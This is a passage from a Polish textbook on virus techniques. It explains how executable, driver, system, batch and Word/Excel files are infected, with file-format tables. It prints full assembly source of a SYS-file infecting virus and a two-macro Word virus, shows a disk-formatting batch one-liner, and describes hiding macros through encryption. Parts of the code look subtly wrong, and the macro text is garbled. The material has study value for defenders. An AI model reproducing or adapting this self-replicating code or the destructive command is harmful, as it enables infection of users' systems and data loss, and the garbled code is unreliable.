Infekując pliki nowe EXE (za pomocą opisanej w poprzednim rozdziale metody) musimy na początku sprawdzić, czy rzeczywiście jest to plik tego typu. Porównujemy dwa pierwsze bajty pliku z sekwencją 'MZ' lub 'ZM' (na tym etapie nie jest ważne, dla jakiego systemu przeznaczony jest plik). Następnie, jeżeli porównanie wypadło pomyślnie, należy sprawdzić, czy na pozycji 18h-19h w nagłówku starego EXE znajduje się wartość 40h lub większa. Jeśli tak, to należy spróbować odczytać ewentualny nagłówek nowego EXE, w którym znajduje się odpowiedni znacznik (dwa znaki ASCII) informujący o systemie, dla którego program jest przeznaczony. Typowe znaczniki zawarto w poniższej tabeli.
Znaczniki rozszerzonego nagłówka nowych plików EXE
Znacznik |
Docelowy system |
NE |
Windows lub OS/2 1.x, z podziałem na segmenty |
LE |
Windows virtual device driver (VxD) z liniowym adresowaniem (Linear Executable) |
LX |
Wariant LE, używany przez OS/2 2.x |
W3 |
Plik WIN386.EXE dla Windows; kolekcja plików LE |
PE |
Windows NT lub Win32s (Portable Executable) |
DL |
HP 100LX/200LX (Pliki *.EXM) |
MP |
Stare pliki PharLap (pliki *.EXP) |
P2 |
PharLap 286 (pliki *.EXP) |
P3 |
PharLap 386 (pliki *.EXP) |
4.1.2.2.1. Pliki EXE dla Windows (NE)
W przypadku programów dla Windows (znacznik NE) infekcja plików polegać może na odpowiedniej modyfikacji pól nagłówka NE oraz dodatkowo tablicy segmentów zawartych w programie, którą trzeba rozszerzyć o segment identyfikujący miejsce w pliku, w którym znajduje się kod wirusa. Ze względu na to, iż rozszerzenie tablicy segmentów wiąże się z koniecznością przesunięcia całego następującego po niej kodu programu (najczęściej bardzo długiego), jako jedno z rozwiązań proponuje się zmniejszenie rozmiaru programu STUB i przesunięcie tylko początkowej części pliku (w tym wypadku cofnięcie części nagłówka) w tak wygospodarowane miejsce.
Format nagłówka pliku nowy EXE (NE) dla Windows pokazano poniżej.
Format nagłówka plików nowy EXE (NE) dla Windows
Adres |
Zawartość |
00-01 |
znacznik pliku, bajty 'NE' |
02-03 |
numer wersji programu linkującego (najpierw bardziej znacząca, potem mniej znacząca część) |
04-05 |
offset względem początku nagłówka do tablicy wejść; format tablicy wejść jest następujący 00 liczba wejść (00, jeżeli koniec listy) 01 numer segmentu (00, jeżeli koniec listy) 02 pierwszy rekord 05 drugi rekord ......... Każdy rekord ma format 00 flagi: bit 0: EXPORTED bit 1: SINGLE DATA bity 2-7: nie używane 01-02 ofset w segmencie |
06-07 |
długość (w bajtach) tablicy wejść |
08-0B |
kod korekcyjny (CRC) pliku |
0C |
flagi programu; znaczenie poszczególnych bitów 0-1 DGROUP 0 = nie ma 1 = SINGLE SHARED 2 = MULTIPLE (UNSHARED) 3 = (NULL) 2 bit globalnej inicjalizacji 3 program tylko dla trybu chronionego 4 program zawiera instrukcje 8086 5 program zawiera instrukcje 80286 6 program zawiera instrukcje 80386 7 program zawiera instrukcje 80x87 |
0D |
flagi aplikacji; znaczenie poszczególnych bitów: 0-2 typ aplikacji 001 pełnoekranowa (bez Windows AP! dla trybu chronionego) 010 kompatybilna z Windows API dla trybu chronionego 011 używa Windows API dla trybu chronionego 3 aplikacja przeznaczona dla OS/2 5 0=wykonywalna, 1=błędy w obrazie pliku 6 niezgodny typ programu (stos nie jest zachowywany) 7 plik DLL lub sterownik (SS:SP: złe wartości, CS:IP wskazuje na procedurę incjalizacji typu FAR, wywoływaną z AX=uchwyt do modułu, zwracająca AX=0 błąd lub AX<>0 poprawna inicjalizacja) |
0E-0F |
indeks do segmentu danych typu AUTODATA 10-11 inicjalny rozmiar sterty lokalnej |
12-13 |
inicjalny rozmiar stosu, dodany do segmentu danych lub 0000h, gdy DS=SS |
14-17 |
wejście do programu (CS:IP), CS oznacza indeks w tablicy segmentów |
18-1B |
daleki wskaźnik na stos programu (SS:SP), SS oznacza indeks w tablicy segmentów; jeżeli SS jest typu autodata i SP=OOOOh, wskaźnik stosu ustawiany jest na końcu segmentu danych typu AUTODATA, pod stertą lokalną |
1C-1D |
ilość segmentów 1 E-1 F ilość odwołań do modułów |
20-21 |
długość (w bajtach) nierezydentnej tablicy nazw |
22-23 |
offset względem początku nagłówka do tablicy segmentów, składającej się z rekordów o formacie (pierwszy rekord ma numer 1): 00-01 ofset w pliku (trzeba przesunąć o wartość z pola 32-3 nagłówka, aby uzyskać adres w bajtach) 02-03 długość obrazu pliku (0000h=64K) 04-05 atrybuty segmentu 0 segment danych 1 nie używane 2 REALMODE 3 ITERATED 4 MOVABLE 5 SHARABLE 6 PRELOADED 7 EXECUTE-CODE (kod) lub READ-ONLY (dane) 8 relokacje (bezpośrednio po kodzie w segmencie) 9 istnieją informacje dla debuggera 10,11 bity DPL dla 80286 12 DISCARDABLE 13-15 DISCARD PRIORITY 06-07 ilość bajtów do zaatakowania dla segmentu (0000h = 64K) |
24-25 |
offset względem początku nagłówka do tablicy zasobów |
26-27 |
offset względem początku nagłówka do tablicy nazw rezydentnych |
28-29 |
offset względem początku nagłówka do tablicy odwołań do modułów |
2A-2B |
offset względem początku nagłówka do tablicy nazw importowanych (tablica łańcuchów typu string, zakończona łańcuchem o długości 0) |
2C-2F |
offset względem początku nagłówka do tablicy nazw nierezydentnych |
30-31 |
ilość ruchomych punktów wejściowych zawartych w tablicy wejść |
32-33 |
wyrównanie strony (0=9 strona o rozmiarze 2 shl 9=512 bajtów) |
34-35 |
ilość wejść do tablic zasobów |
36 |
docelowy system operacyjny 00h nieznany 01h OS/2 02h Windows 03h Europejska wersja MS-DOS 4.x 04h Windows 386 05h BOSS (Borland Operating System Services) 81h PharLap 286IDOS-Extender, OS/2 82h PharLap 286IDOS-Extender, Windows |
37 |
dodatkowe flagi programu 0 używa długich nazw plików 1 tryb chroniony 2.X 2 proporcjonalna czcionka 2.X 3 0=gangload: nie ma, 1=gangload: jest |
38-39 |
offset do strefy gangload |
3A-3B |
offset do segmentu odwołańi do strefy gangload |
3C-3D |
minimalny rozmiar kodu wymienialnego |
3E-3F |
spodziewana wersja systemu Windows (mniej znacząca część jako pierwsza, bardziej znacząca część jako druga) |
Format tablicy relokacji pliku nowy EXE (NE) dla Windows
Adres |
Zawartość |
00-01 |
ilość rekordów w tablicy relokacji |
02 |
kolejne elementy tablicy relokacji; jeden rekord tablicy relokacji zajmuje 8 bajtów i ma format: 00 typ rekordu 00 LOBYTE 02 BASE 03 PTR 05 OFFS 0B PTR48 0D OFFS32 01 flagi rekordu bit 2: addytywny 02-03 offset w segmencie 04-05 docelowy adres segmentu 06-07 docelowy adres offsetu |
|
|
|
|
Format danych zawartych w tablicy zasobów pliku nowy EXE (NE) dla Windows
Adres |
Zawartość |
00-01 |
Wartość przesunięcia do dopasowania |
02 |
Kolejne rekordy zasobów o formacie: 00-01 identyfikator 0000 koniec rekordów >= 8000h typ INTEGER w przeciwnym wypadku offset względem początku zasobów do łańcucha 02-03 ilość zasobów danego typu 04-07 zarezerwowane 08 początek zasobów |
Format danych zawartych w zasobach pliku nowy EXE (NE) dla Windows
00-01 |
ofset (w dopasowanych jednostkach) do zawartości zasobów |
02-03 |
rozmiar zasobów w bajtach |
04-05 |
flagi zasobów bit 4: MOVEABLE bit5:SHAREABLE bit 6: PRELOADED |
06-07 |
typ zasobów; =8000 zasoby typu Integer |
08-0B |
zarezerwowane |
Format tablicy odwołań do modułów w pliku nowy EXE (NE) dla Windowa
Adres |
Zawartość |
00 |
ilość rekordów w paczce (0=koniec tablicy) |
01 |
znacznik segmentu: 00 nie używany FF MOVEABLE lub FIXED |
02 |
kolejne rekordy, każdy o formacie: 00 flagi bit 0: wejście jest eksportowane bit 1: wejście używa globalnych (współużywalnych) danych bity 7-3: ilość stów parametrów dla segmentu FIXED 01-02 ofset dla segmentu MOVEABLE 01-02 INT 3F (kod instrukcji: CDh 3Fh) 03 numer segmentu 05-06 ofset |
Format tablicy nazw rezydentnych/nierezydentnych w pliku nowy EXE (NE) dla
Adres |
Zawartość |
00 |
długość łańcucha (00=koniec tablicy) |
01-N |
łańcuch ASCII |
N+1-N+2 |
numer porządkowy w tablicy |
Wygląd zainfekowanego opisaną wcześniej metodą pliku EXE przed i po infekcji przedstawiony został w poniższych tabelach.
Wygląd niezainfekowanego pliku NE dla Windows
Zawartość pliku |
program STUB dla DOS Nagłówek programu STUB Kod programu STUB właściwy program dla Windows: Nagłówek NE Tablica segmentów Tablice z danymi o zasobach Kod programu dla Windows |
Wygląd zainfekowanego pliku NE dla Windows
Zawartość pliku |
program STUB dla DOS Nagłówek programu STUB Zmniejszony kod programu STUB właściwy program dla Windows zarażony wirusem: Nagłówek NE, cofnięty względem oryginalnej pozycji Tablica segmentów, cofnięta względem oryginalnej pozycji, rozszerzona przez wirusa o segment wskazujący na kod wirusa (na końcu pliku) Tablice z danymi o zasobach Kod programu dla Windows Kod wirusa |
4.1.3. Pliki zawierające sterowniki urządzeń SYS (BIN, DRV)
Pliki SYS zawierają tzw. sterowniki urządzeń blokowych lub znakowych, które mogą rozszerzać możliwości systemu DOS. Sterowniki te są ładowane tylko raz, w momencie startu systemu, na podstawie poleceń zawartych w pliku CONFIG.SYS (w Windows 95 także na podstawie MSDOS.SYS). Do ładowania sterowników DOS wykorzystuje funkcję (4B00/21), a więc tę samą, co w przypadku programów EXE i COM, jednak dla uruchamianego sterownika nie jest tworzony blok wstępny programu (PSP).
Na początku plików typu SYS znajduje się sformatowany nagłówek, zawierający dane dla systemu DOS, który poprzez zawarte w nim informacje może komunikować się ze sterownikiem. Format pliku SYS i jego nagłówka przedstawiono w poniższych tabelach.
Zawartość pliku SYS
Zawartość |
Nagłówek pliku SYS (patrz następna tabela) Kod sterownika |
Format nagłówka pliku SYS
00-03 |
Wskaźnik do następnego programu obsługi urządzenia, standardowo == 0FFFFFFFFh, co jest sygnałem dla systemu, iż plik zawiera tylko 1 sterownik. Gdyby plik zawierał więcej sterowników, w polu tym byłby zawarty adres kolejnego sterownika w pliku. |
04-05 |
Atrybuty urządzenia, informują o przeznaczeniu sterownika |
06-07 |
Adres procedury strategii (względem początku nagłówka). Procedura strategii służy do odebrania pakietu zlecenia od systemu DOS. |
08-09 |
Adres procedury przerwania (względem początku nagłówka), która na podstawie pakietu zlecenia, przyjętego przez procedurę strategii, wykonuje odpowiednie czynności, |
0A-0F |
Nazwa urządzenia znakowego (8 znaków) lub liczba jednostek dla urządzenia blokowego (1 bajt wykorzystany+7 bajtów rezerwowych). |
Aby zainfekować plik SYS, wystarczy zmienić adres którejś z procedur zawartych w polach 06h-07h lub 08h-09h tak, aby wskazywał on na kod wirusa, który zostaje dopisywany na końcu pliku. Po wczytaniu przez DOS zarażonego w ten sposób pliku zawsze zostaje wywołana procedura inicjalizacji sterownika, co pozwala wirusowi natychmiast zainstalować się w systemie, a następnie oddać sterowanie oryginalnemu programowi obsługi.
Alternatywnym (i chyba prostszym) sposobem zarażenia plików SYS jest wykorzystanie faktu, iż plik taki może zawierać więcej niż jeden sterownik. Aby zainfekować plik SYS, wystarczy więc na początku pliku zmienić pole 00-03 tak, aby wskazywało ono na koniec pliku, gdzie należy dodać kod wirusa, którego wygląd będzie podobny do zwykłego sterownika (będzie posiadał nagłówek oraz procedury strategii i przerwań). Podczas inicjacji DOS uruchomi oba zawarte w pliku sterowniki i w efekcie umożliwi działanie wirusowi. Jak widać, sposób infekcji tych plików jest bardzo prosty, stąd dziwi trochę fakt, iż stosunkowo mała liczba wirusów potrafi je zarażać.
Wygląd pliku SYS po zarażeniu pokazano w poniższych tabelach.
Zainfekowany plik SYS (ze zmianą adresów procedur w nagłówku)
Zawartość pliku |
Nagłówek sterownika ze zmienionymi adresami procedur strategii lub przerwania Kod sterownika Kod wirusa |
Zainfekowany plik SYS (drugi fałszywy sterownik)
Zawartość pliku |
Nagłówek sterownika ze zmianą adresu wskazującego na położenie drugiego sterownika w pliku Kod sterownika Nagłówek fałszywego sterownika (wirusa) Kod wirusa |
Ponizej przedstawiono przyklad prostego nierezydentnego wirusa infekujacego pliki SYS.
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; SYZYF v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Prosty wirus nierezydentny plikow SYS ;
; Infekuje pliki z atrybutem Archive, ReadOnly, System, Hidden ;
; znajdujace sie w biezacym katalogu ;
; ;
; Kompilacja : ;
; TASM SYZYF.ASM ;
; TLINK SYZYF.OBJ ;
; MAKESYS SYZYF.EXE ;
; ;
;----------------------------------------------------------------------------;
SYZYF SEGMENT
JUMPS
ASSUME CS:SYZYF, DS:SYZYF
ORG 0000h ; SYS nie potrzebuje PSP
NUL = 00h ; \
LF = 0Ah ; - stale znakow
CR = 0Dh ; / ASCII
AtrReadOnly = 00000001b ; \
AtrHidden = 00000010b ; \
AtrSystem = 00000100b ; \ rozne stale atrybutow
AtrVolumeID = 00001000b ; / pozycji katalogu
AtrDirectory = 00010000b ; /
AtrArchive = 00100000b ; /
Atrybut = AtrArchive + AtrReadOnly + AtrSystem + AtrHidden + AtrVolumeID
; atrybut poszukiwanej pozycji
; katalogu
VirusDlug = offset (VirusEnd-VirusStart) ; dlugosc kodu wirusa
VRok = 1998 ; \ data opisujaca
VMiesiac = 13 ; - pliki juz zainfekowane
VDzien = 31 ; /
VZnacznik = (VRok-1980)*512+VMiesiac*32+VDzien
DTAStruc struc ; struktura DTA bufora transmisji
; dyskowych uzywanych przez
; funkcje 4E i 4F
DTAFill db 21 dup (?) ; nieistotna czesc
DTAAttr db ? ; atrybut znalezionej pozycji
DTATime dw ? ; czas znalezionej pozycji
DTADate dw ? ; data znalezionej pozycji
DTASize dd ? ; dlugosc znalezionej pozycji
DTAName db 13 dup (?) ; nazwa znalezionej pozycji
DTAStruc ends
NAGL struc
NAGLAdres dd ? ; Adres nastepnego sterownika
NAGLAtrybut dw ? ; atrybuty sterownika
NAGLStrategia dw ? ; adres obslugi strategii
NAGLPrzerwanie dw ? ; adres obslugi przerwania
NAGLNazwa db 8 dup(?) ; nazwa sterownika
NAGL ends
Start:
SYSNagl NAGL <0FFFFFFFFh,8000h,ProceduraStrategii,ProceduraPrzerwania,'SYZYF'>
; tu jest naglowek
VirusStart: ; tu zaczyna sie kod wirusa
ProceduraPrzerwania:
push ax ; \
push bx ; \
push cx ; \ zachowaj
push dx ; \ zmieniane
push si ; / rejestry
push di ; /
push ds ; /
push es ; /
Call Trik
Trik:
pop si
sub si,offset Trik
push cs ; \ DS=CS
pop ds ; /
mov ax,[si][StarePrzerwanie] ; zachowaj adres do nosiciela
mov [si][SkokIP],ax
mov [si][SkokCS],cs
lea dx,[si][TeInformacja] ; podaj gdzie jest tekst
Call Informacja ; spytaj o uruchomienie wirusa
jnc Infekcja ; gdy CF=1, nie uruchamiaj
jmp BezInfekcji ; NIE - nie infekuj
Infekcja:
mov ah,2Fh ; funkcja DOS - pobierz adres DTA
int 21h ; wywolaj funkcje DOS
mov word ptr [si][DTASegOfs+2],bx ; \ zachowaj akualny adres DTA,
mov word ptr [si][DTASegOfs+2],es ; / aby mozna bylo go przywrocic
lea dx,[si][NoweDTA] ; miejsca gdzie bedzie nowe DTA
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS
lea dx,[si][MaskaSYS] ; maska poszukiwanych plikow '*.SYS'
mov cx,Atrybut ; podaj atrybut poszukiwanej pozycji
mov ah,4Eh ; funkcja DOS - szukaj pierwszej
; pozycji katalogu
int 21h ; wywolaj funkcje DOS
jc NieMaPlikuSYS ; gdy CF=1, to blad
KolejnyPlik:
cmp [si][NoweDTA.DTADate],VZnacznik ; czy znaleziony plik jest juz
; zarazony ?
je SzukajNastepnyPlik ; tak = szukaj nastepny
mov ax,word ptr [si][NoweDTA.DTASize+2]
; pobierz starsza czesc dlugosci
; pliku
or ax,ax ; czy plik krotszy niz 65536 ?
jnz SzukajNastepnyPlik ; nie - szukaj nastepnego
mov ax,word ptr [si][NoweDTA.DTASize]; pobierz dlugosc pliku
cmp ax,64000 ; czy dlugosc <= 64000 ?
ja SzukajNastepnyPlik ; nie - szukaj nastepnego
mov cx,AtrArchive ; podaj nowy atrybut : Archive
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do odczytu
mov ax,3D02h ; funkcja DOS - otworz plik
; do odczytu i zapisu
int 21h ; wywolaj funkcje DOS
jc PrzywrocAtrybut ; gdy CF=1, to blad
xchg ax,bx ; przenies uchwyt pliku do BX
mov cx,size NAGL ; ilosc czytanych bajtow
lea dx,[si][CzytNAGL] ; podaj dokad czytac 3 bajty
mov ah,3Fh ; funkcja DOS - czytaj z pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov ax,word ptr [si][CzytNagl.NaglAdres]
; wez 4 bajty z pliku do AX i DX
mov dx,word ptr [si][CzytNagl.NaglAdres+2]
cmp ax,0FFFFh ; czy AX=0FFFFh ?
jne ZamknijPlik ; NIE - szukaj innego plik
cmp ax,dx ; czy AX=DX=0FFFFh ?
jne ZamknijPlik ; NIE - szukaj inny plik
; TAK - na poczatku pliku jest
; 0FFFFFFFFh
mov ax,word ptr [si][CzytNagl.NaglPrzerwanie]
mov [si][StarePrzerwanie],ax ; wez adres przerwania
xor cx,cx ; \ zeruj CX:DX zawierajace
xor dx,dx ; / adres wzgledem konca pliku
mov ax,4202h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na koniec pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov [si][CzytNAGL.NaglPrzerwanie],ax
mov cx,VirusDlug ; ilosc zapisywanych bajtow
lea dx,[si][VirusStart] ; podaj skad zapisac wirusa
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
xor cx,cx ; \ CX:DX zawieraja
xor dx,dx ; / adres wzgledem poczatku pliku
mov ax,4200h ; funkcja DOS - zmien wskaznik
; odczytu/zapisu na poczatek pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1 to blad
mov cx,size NAGL ; ilosc zapisywanych bajtow
lea dx,[si][CzytNAGL] ; podaj skad zapisac
mov ah,30h ; funkcja DOS - zapisz do pliku
int 21h ; wywolaj funkcje DOS
jc ZamknijPlik ; gdy CF=1, to blad
mov cx,[si][NoweDTA.DTATime] ; przywroc czas z bufora DTA
mov dx,VZnacznik ; zaznacz infekcje pliku
mov ax,5701h ; funkcja DOS - wpisz date, czas
int 21h ; wywolaj funkcje DOS
ZamknijPlik:
mov ah,3Eh ; funkcja DOS - zamknij plik
int 21h ; wywolaj funkcje DOS
PrzywrocAtrybut:
mov cl,[si][NoweDTA.DTAAttr] ; podaj stary atrybut
mov ch,0 ; CX=CL
lea dx,[si][NoweDTA.DTAName] ; podaj nazwe pliku do zmiany
mov ax,4301h ; funkcja DOS - zmien atrybut
int 21h ; wywolaj funkcje DOS
SzukajNastepnyPlik: ; poprzedni plik byl zarazony
mov ah,4Fh ; funkcja DOS - szukaj innego
; pliku SYS
int 21h ; wywolaj funkcje DOS
jnc KolejnyPlik ; gdy CF=1, to blad
NieMaPlikuSYS:
lds dx, dword ptr cs:[si][DTASegOfs] ; przywroc pierwotne DTA
mov ah,1Ah ; funkcja DOS - ustaw nowe DTA
int 21h ; wywolaj funkcje DOS
BezInfekcji:
pop es ; \
pop ds ; \
pop di ; \ przywroc
pop si ; \ zmieniane
pop dx ; / rejestry
pop cx ; /
pop bx ; /
pop ax ; /
db 0EAh ; powrot do nosiciela
SkokIP dw ?
SkokCS dw ?
MaskaSYS db '*.SIS' ; maska plikow SYS (ASCIIZ)
; Czesc Informayjna ; wyswietla pytanie do uzytkownika
Informacja: ; czy chce uruchomic wirusa
push ax si
cld
mov si,dx
NastepnyZnak:
lods byte ptr cs:[si] ; kolejny znak komunikatu
or al,al ; czy koniec tekstu ?
jz InformacjaTxtOK ; TAK - koniec pisania
mov ah,0Eh ; pisz znak z AL
int 10h ;
jmp short NastepnyZnak
InformacjaTxtOK:
mov ah,0
int 16h
and al,11011111b ; konwertuj znak na wielka litere
cmp al,'T' ; czy potwierdzona infekcja
clc ; ustaw flage na TAK
je CLCRet ; TAK i powrot
stc ; ustaw flage na NIE i powrot
CLCRet:
pop si ax
ret ; powrot
TeInformacja db CR,LF,'SYZYF v1.0, Autor : Adam Blaszczyk 1997'
db CR,LF
db CR,LF,'Czy chcesz uruchomic wirusa (T/N) ?'
db CR,LF,NUL
StarePrzerwanie dw offset Nosiciel
VirusEnd:
NoweDTA DTAStruc <?,?,?,?,?,?>
DTASegOfs dd ?
CzytNagl NAGL <>
ProceduraStrategii: ; na wejsciu ES:BX adres
; do pakietu zlecenia
mov word ptr cs:[AdresZlecenia],bx ; \ pobierz adres i zachowaj
mov word ptr cs:[AdresZlecenia+2],es; / go na pozniej
retf ; powrot z procedury
; strategii
AdresZlecenia dd ?
Nosiciel:
push ds ax bx
lds bx,dword ptr cs:[AdresZlecenia] ; pobierz adres pakietu
; zlecenia
xor ax,ax ;
mov word ptr ds:[bx+0Eh],ax ;
mov word ptr ds:[bx+10h],cs ;
mov byte ptr ds:[bx+0Dh],1 ;
mov word ptr ds:[bx+03h],8102h ;
pop bx ax ds
retf
SYZYF ENDS
END Start
4.1.4. Pliki systemowe DOS
4.1.4.1. Interpretator poleceń
Infekcja interpretatora poleceń (najczęściej plik COMMAND.COM) w zasadzie przebiega tak samo jak w przypadku innych plików COM lub EXE (tylko we wcześniejszych wersjach systemu DOS plik ten był typu COM). Szybkie infektory najczęściej szukają w otoczeniu programu łańcucha COMSPEC, będącego zmienną środowiskową systemu DOS, zawierającą pełną nazwę (łącznie ze ścieżką) interpretatora poleceń, i po znalezieniu od razu go infekują.
Inny sposób dotarcia do pliku interpretatora poleceń polega na zamazaniu części jego kodu, leżącego w pamięci służącej do analizowania i wykonywania poleceń. W rezultacie przy wykonywaniu jakiegoś polecenia z poziomu systemu DOS plik z interpretatorem poleceń będzie musiał zostać ponownie załadowany do pamięci, a wtedy wirus będzie mógł go zainfekować. Zarażając interpretator poleceń warto pamiętać o tym, iż posiada on na swym końcu pusty (wypełniony zerami) obszar przeznaczony na stos, który jest na tyle długi, iż można go wykorzystać, aby wpisać tam kod wirusa, co umożliwi wirusowi zainfekowanie go i przez to pozostawić długość pliku niezmienioną (pomimo zmienionej zawartości).
4.1.4.2. Jądro systemu (ang. kernel infector)
Jądro systemu zawarte jest najczęściej w pliku IO.SYS, choć zależy to od konkretnej realizacji systemu. Pomimo swego rozszerzenia plik IO.SYS nie jest typowym sterownikiem, jakie zwykle zawarte są w plikach SYS, lecz programem o strukturze bardziej przypominającej pliki COM lub EXE, tak więc próby infekowania go jako sterownika SYS spowodują jego zniszczenie i w efekcie zawieszenie systemu po starcie komputera. Wirusy infekujące plik IO.SYS najczęściej zapamiętują początek pliku w innym miejscu na dysku (najczęściej w jakiś sposób ukrytym), a na początek pliku IO.SYS nadpisują swój kod. Po starcie systemu
program zawarty w BOOT-sektorze, ładuje zainfekowany plik. Sterowanie przekazywane jest do wirusa, który po instalacji wczytuje oryginalną zawartość pliku i oddaje do niego sterowanie.
4.1.5. Pliki wsadowe BAT
Wirusy typu batch nie są programami komputerowymi, lecz skryptami, które modyfikują pliki o rozszerzeniu BAT. Na kod takiego wirusa mogą się składać:
> polecenia: CALL, CD, COPY, DEL, DIR, ECHO, FOR, GOTO, IF/
REM, RD, REN, SET, SHIFT, TYPE;
> parametry wejściowe: %0 nazwa programu, %1-%9 parametry
programu;
> operatory zmiany przyporządkowania strumieni wejściowych i
wyjściowych: <, >, », |;
> nazwy zarezerwowane przez system DOS: urządzenie NUL;
> programy tradycyjnie dostarczane z systemem DOS: debugger DEBUG, ATTRIB,
FIND, FORMAT; sterownik ANSI.SYS;
> pola etykiet, wykorzystywane np. do pominięcia linii, w której może być kod
maszynowy (opisane w jednym z poprzednich rozdziałów).
Na uwagę zasługują wspomniane wyżej operatory zmiany przyporządkowania strumieni wyjściowych. Ich działanie może bowiem zostać wykorzystane do dość brutalnej destrukcji. Normalnie użycie polecenia FORMAT C: czy DEL *.* wymaga potwierdzenia przez użytkownika, który może zgodzić się lub nie na dokonywaną operację. Zmiana przyporządkowania strumieni umożliwia zasymulowanie naciśnięcia przez użytkownika jakiegoś klawisza (lub ich sekwencji), w tym wypadku potwierdzających daną operację. W efekcie polecenie zacznie się wykonywać bez żadnej kontroli ze strony użytkownika!
Poza tym, skierowanie wszystkich komunikatów do urządzenia NUL może spowodować, iż o wykonywanych operacjach użytkownik dowie się dopiero po ich zakończeniu.
Przykładem może być poniższe polecenie, po którego wykonaniu dysk twardy zostanie sformatowany.
ECHO Y | FORMAT C: NUL
Powyższy przykład powinien przekonać każdego o celowości przeglądania nieznanych plików wsadowych przed ich pochopnym uruchomieniem, aby uchronić się przed niezbyt miłymi konsekwencjami.
4.1.6. Pliki DOC
Pliki DOC są tworzone przez popularny edytor tekstów MS Word. Wirusy przemieszczające się w tych plikach wykorzystują język Word Basie, wbudowany w ten program. Przy jego pomocy użytkownik może tworzyć własne lub też przedefiniowywać już istniejące makra-Wirusy atakujące dokumenty Worda wykorzystują fakt, iż program ten ma kilka zdefiniowanych makr o specjalnym, wyjaśnionym w tabeli poniżej, znaczeniu, których przejęcie umożliwia zainfekowanie każdego otwieranego lub zamykanego dokumentu.
Przy wczytywaniu zainfekowanego dokumentu uruchamiane jest na przykład makro AutoOpen, które kopiuje wszystkie zdefiniowane w wirusie makra do pliku NORMAL.DOT (globalny szablon zawierający definicje wszystkich podstawowych stylów, makr itd., używanych w edytorze). Od tej chwili każdy otwierany, zachowywany (zależy to od przejętego makra) plik DOC będzie zarażany. Infekcja polega na przerobieniu pliku DOC na DOT (czyli na plik zawierający szablon) i dopisaniu do niego makr wirusa. Operacja ta musi być wykonywana, ponieważ zwykły plik DOC nie może zawierać w sobie definicji makr.
Makra MS Word o ustalonym znaczeniu
Nazwa makra |
Opis makra |
AutoExec |
uruchamiane podczas rozpoczynania rozpoczynania pracy z Wordem z szablonu globalnego zawartego w pliku NORMAL.DAT |
AutoNew |
uruchamiane podczas tworzenia nowego dokumentu |
AutoOpen |
uruchamiane podczas otwierania dokumentu |
AutoClose |
uruchamiane podczas zamykania dokumentu |
AutoExit |
uruchamiane podczas kończenia pracy z Wordem |
Przykładem prostego wirusa dla dokumentów Worda może być poniższy program, który składa się z dwóch makr: FileSave i AutoOpen. Pierwsze z nich służy do infekcji plików DOC podczas ich zachowywania, natomiast drugie dopisuje do szablonu NORMAL.DOT dwa powyższe makra bezpośrednio po otwarciu zainfekowanego dokumentu (w rezultacie instaluje go rezydentnie w Wordzie). Aby wirus zbudowany z powyższych makr zadziałał, należy je umieścić w dowolnym (najlepiej nowym) dokumencie. Operację tę najprościej przeprowadzić przy pomocy opcji NARZĘDZIA/MAKRO/UTWÓRZ, Poniższe makra zawierają fragmenty kodu, umożliwiające kontrolowane uruchamianie wirusa (wirus prosi użytkownika o potwierdzenie wszystkich wykonywanych przez siebie operacji).
Zawartość makra: AutoOpen
Sub MAIN
On Error Goto AutoOpen_Error
Tyt$ = "Nowoczesne techniki wirusowe i antywirusowe,
Autor Adam B│aszczyk"
Uwg$ = "Uwaga MakroWirus, Chcesz go zainstalowaµ ?" TiN = 256 +48+4 Prz = MsgBox(Uwg$, Tyt$, TiN) If (Prz = - l) Then MacroCopy WindowName$() + ":AutoOpen",
"Globalne:AutoOpen" MacroCopy WindowName$() + ":FileSave",
"Globalne:FileSave"
MsgBox "Wirus dopisa│ siÛ do NORMAL.DOT, Sam tego chcia│e£ !!!", Tyt$, 64
End If AutoOpen_Error:
End Sub
Zawartość makra: FileSave
Sub MA1N FileSave On Error Goto FileSave_Error
Tyt$ = "Nowoczesne techniki wirusowe i antywirusowe,
Autor Adan B│aszczyk" Uwg$ = "Czy chcesz zainfekowaµ '" + WindowName$() + "'
makrowirusem ?"
TiN = 256 +48+4
Prz = MsgBox(Uwg$, Tyt$, TiN)
If (Prz = - 1) Then
MacroCopy "Globalne:AutoOpen", WindowName$() +
":AutoOpen" MacroCopy "Globalne: FileSave" , WindowName$ () +
":FileSave" FileSaveAs .Format - l
Tek$ = "Wirus dopisa│ siÛ do '" + WindowName$() + "'" MsgBox Tek$, Tyt$, 64 FileSave
End lf
rem fileSave
FileSave_Error:
End Sub
Powyższy wirus zadziała tylko w polskojęzycznej wersji MS Word (w wersjach dla innych języków zmieniają się nazwy procedur oraz szablonów).
Ze względu na oferowaną przez Worda możliwość szyfrowania makr powyższego wirusa można w pewnym sensie uczynić niewidzialnym (pewna forma techniki stealth). Należy w tym celu dodać do polecenia MacroCopy łańcuch 1, który oznacza, iż podczas kopiowania makra będą zaszyfrowane. Użytkownik nie będzie mógł obejrzeć w edytorze zawartości takich makr.
4.1.7. Pliki XLS
Podobnie jak pliki DOC również arkusze Excela mogą zawierać w sobie definicje makr, które może zdefinować lub przedefiniować wirus. Różnica w stosunku do programu MS Word polega na tym, że rolę pliku NORMAL.DOT z Worda pełni tu plik PERSONAL.XLS, inne jest też nazewnictwo makr. Sam sposób działania jest w zasadzie identyczny. Poniższa tabela zawiera krótki opis makr automatycznych, dostępnych w Excelu.
Makra MS Excela o ustalonym znaczeniu
Nazwa makra |
Opis makra |
auto_open |
uruchamiane podczas rozpoczynania pracy z Excelem |
auto_close |
uruchamiane podczas zamykania arkusza |
4.1.8. Pliki ASM
